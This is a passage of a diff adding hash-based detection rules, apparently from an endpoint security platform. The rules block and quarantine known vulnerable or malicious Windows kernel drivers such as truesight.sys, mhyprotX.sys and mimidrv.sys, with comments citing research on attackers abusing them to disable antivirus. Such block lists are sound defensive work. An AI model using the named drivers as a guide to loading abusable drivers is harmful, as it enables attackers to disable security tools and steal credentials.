+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612109Z",
+  "creation_date": "2026-03-23T11:45:29.612111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612116Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dbcad271feda00f614ef9866886cde83e9fffac6e76694fd052790541bb7e993",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b38124d-1062-5cc5-93b9-1784dd20bc34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140690Z",
+  "creation_date": "2026-03-23T11:45:31.140692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140697Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e662bddd89c5886decdedb13b0037b88d5270bfeed1bafaa1e6c9199ab98fcc5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b3a1fdb-e6d9-5175-9f91-e26c0c22c850",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464062Z",
+  "creation_date": "2026-03-23T11:45:30.464066Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aaf04d89fd15bc61265e545f8e1da80e20f59f90058ed343c62ee24358e3af9e",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b4716eb-45a1-5704-9a6f-380db688d587",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146656Z",
+  "creation_date": "2026-03-23T11:45:32.146658Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146664Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e42c8cb410a7ed653cfe62bbd8cf191f31a47337fe1ffcc35232d03f2da05ef",
+  "comment": "Vulnerable Kernel Driver (aka isodrivep64.sys) [https://www.loldrivers.io/drivers/0144dbef-1da8-406c-8e35-7afee57dc471/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b5146da-a38a-5c85-b236-6643f1c3066d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484389Z",
+  "creation_date": "2026-03-23T11:45:31.484393Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484404Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dec60f8994b1773fcdf3fe19aa88288eae060801f38be150e789d6fbbec594f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b67c2da-a992-5868-9157-d85c58840512",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977622Z",
+  "creation_date": "2026-03-23T11:45:29.977624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977632Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cff3fc66d54279b755ceedf89268847dbb5139227739e4689f5d9271b1d7923b",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b8441e5-e033-5cb8-b8d8-1bc47883240c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493708Z",
+  "creation_date": "2026-03-23T11:45:31.493711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5bf5496e3d659e3c2e2e307eed9950313aa786993b5ddda1c57ad63b845cc2f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b8e6f7d-929c-56bd-ac32-d072c299cb09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815624Z",
+  "creation_date": "2026-03-23T11:45:31.815626Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815632Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c90eaa11eeb28ab56835396f73ce0b6cc53b16763b6458cd9785c7611e1bc5e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b9814c4-ac15-5d6b-814b-ae9c1bf43a71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827748Z",
+  "creation_date": "2026-03-23T11:45:31.827752Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6e12d25d540bcdcacfdc5b002ec1c143bfbc27ac1b245ba4c4b02cf0aad68be",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2b9aa810-44f3-5154-804a-2c95520bba88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816339Z",
+  "creation_date": "2026-03-23T11:45:30.816341Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816347Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1072beb3ff6b191b3df1a339e3a8c87a8dc5eae727f2b993ea51b448e837636a",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ba4de36-e541-5562-9938-f56fefe825aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480047Z",
+  "creation_date": "2026-03-23T11:45:31.480051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e9f8dba42f74f39e47db54d329e72eeedd4099ec19e07ed6118ea4226dcc89b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2baca094-5735-5f83-bf9e-37a9d250417f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481326Z",
+  "creation_date": "2026-03-23T11:45:31.481330Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "295b4bb1caf0ae8e2899d4a0d8993b89a8c8a49545c6189a7a159df1c53e35be",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2bb28b0e-7192-5fd1-b368-945713324554",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479404Z",
+  "creation_date": "2026-03-23T11:45:30.479406Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479411Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9ae1d53a464bc9bb86782ab6c55e2da8804c80a361139a82a6c8eef30fddd7c",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2bba6706-e84e-5e31-89a4-cad3682dfe0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817142Z",
+  "creation_date": "2026-03-23T11:45:30.817144Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817150Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "478bcb750017cb6541f3dd0d08a47370f3c92eec998bc3825b5d8e08ee831b70",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2bbb4aa0-da50-567a-98d7-7dd04b24bf1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487843Z",
+  "creation_date": "2026-03-23T11:45:31.487845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd558e1672f27fe33be51a323270220d801faa7a5161325b3f209a57165c2276",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2bc26081-95be-5d44-a561-06ac2d24800a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825022Z",
+  "creation_date": "2026-03-23T11:45:31.825024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825030Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47b1d7407df6ae4e63d4a70c894fde455f8e93382ce2bb266a0b558e87c5215e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2bc518ec-b0db-5c71-9c61-ecc662ba8092",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818049Z",
+  "creation_date": "2026-03-23T11:45:30.818051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bac7e75745d0cb8819de738b73edded02a07111587c4531383dccd4562922b65",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2bd8df8d-38a9-5afc-9f94-c20ce89e8da2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150018Z",
+  "creation_date": "2026-03-23T11:45:31.150020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a05d43c56290c41bd2eb75c19d32da821a055aa05c3b5bca2af047bd7cf01fe5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2becde35-7ed3-52c6-b3bc-f1bb773110ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981076Z",
+  "creation_date": "2026-03-23T11:45:29.981078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981083Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b19a7207a55d752db1b366b1dea2fd2c7620a825a3f0dcffca10af76611118c",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2bf002f5-8d92-5942-83f1-e21ed0e1773c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622002Z",
+  "creation_date": "2026-03-23T11:45:29.622004Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622010Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ebc5906d7fd9c606dc6ef9b49f3e57b63af838f5807fcdcdd5ff47b5b05e39c",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2bf9e2cb-de54-54eb-ac80-a2457b55239d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455700Z",
+  "creation_date": "2026-03-23T11:45:30.455704Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455713Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8dcec67a1f4903981c3e0ab938784c2f241e041e26748e1c22059e0e507cfb37",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c03667b-6c4b-5e6f-9b6a-46a9f437d2d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973535Z",
+  "creation_date": "2026-03-23T11:45:29.973537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973542Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "385485e643aa611e97ceae6590c6a8c47155886123dbb9de1e704d0d1624d039",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2c07fd5f-b564-5da6-845d-e4dfb5461d6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478005Z",
+  "creation_date": "2026-03-23T11:45:31.478010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478020Z",
